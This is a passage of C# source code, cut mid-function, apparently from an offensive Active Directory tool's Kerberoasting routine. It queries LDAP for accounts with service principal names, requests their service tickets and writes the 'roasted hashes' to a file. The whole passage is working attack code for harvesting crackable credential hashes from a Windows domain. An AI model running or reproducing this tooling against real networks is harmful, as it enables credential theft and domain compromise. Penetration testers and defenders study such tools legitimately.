ex.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } try { if (String.IsNullOrEmpty(userName)) { userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))"; } else { userSearcher.Filter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName={0}))", userName); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); if (!String.IsNullOrEmpty(domain)) { string SPN = String.Format("{0}@{1}", servicePrincipalName, domain); GetDomainSPNTicket(SPN, userName, distinguishedName, cred, outFile); } else { GetDomainSPNTicket(servicePrincipalName, userName, distinguishedName, cred, outFile); } } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }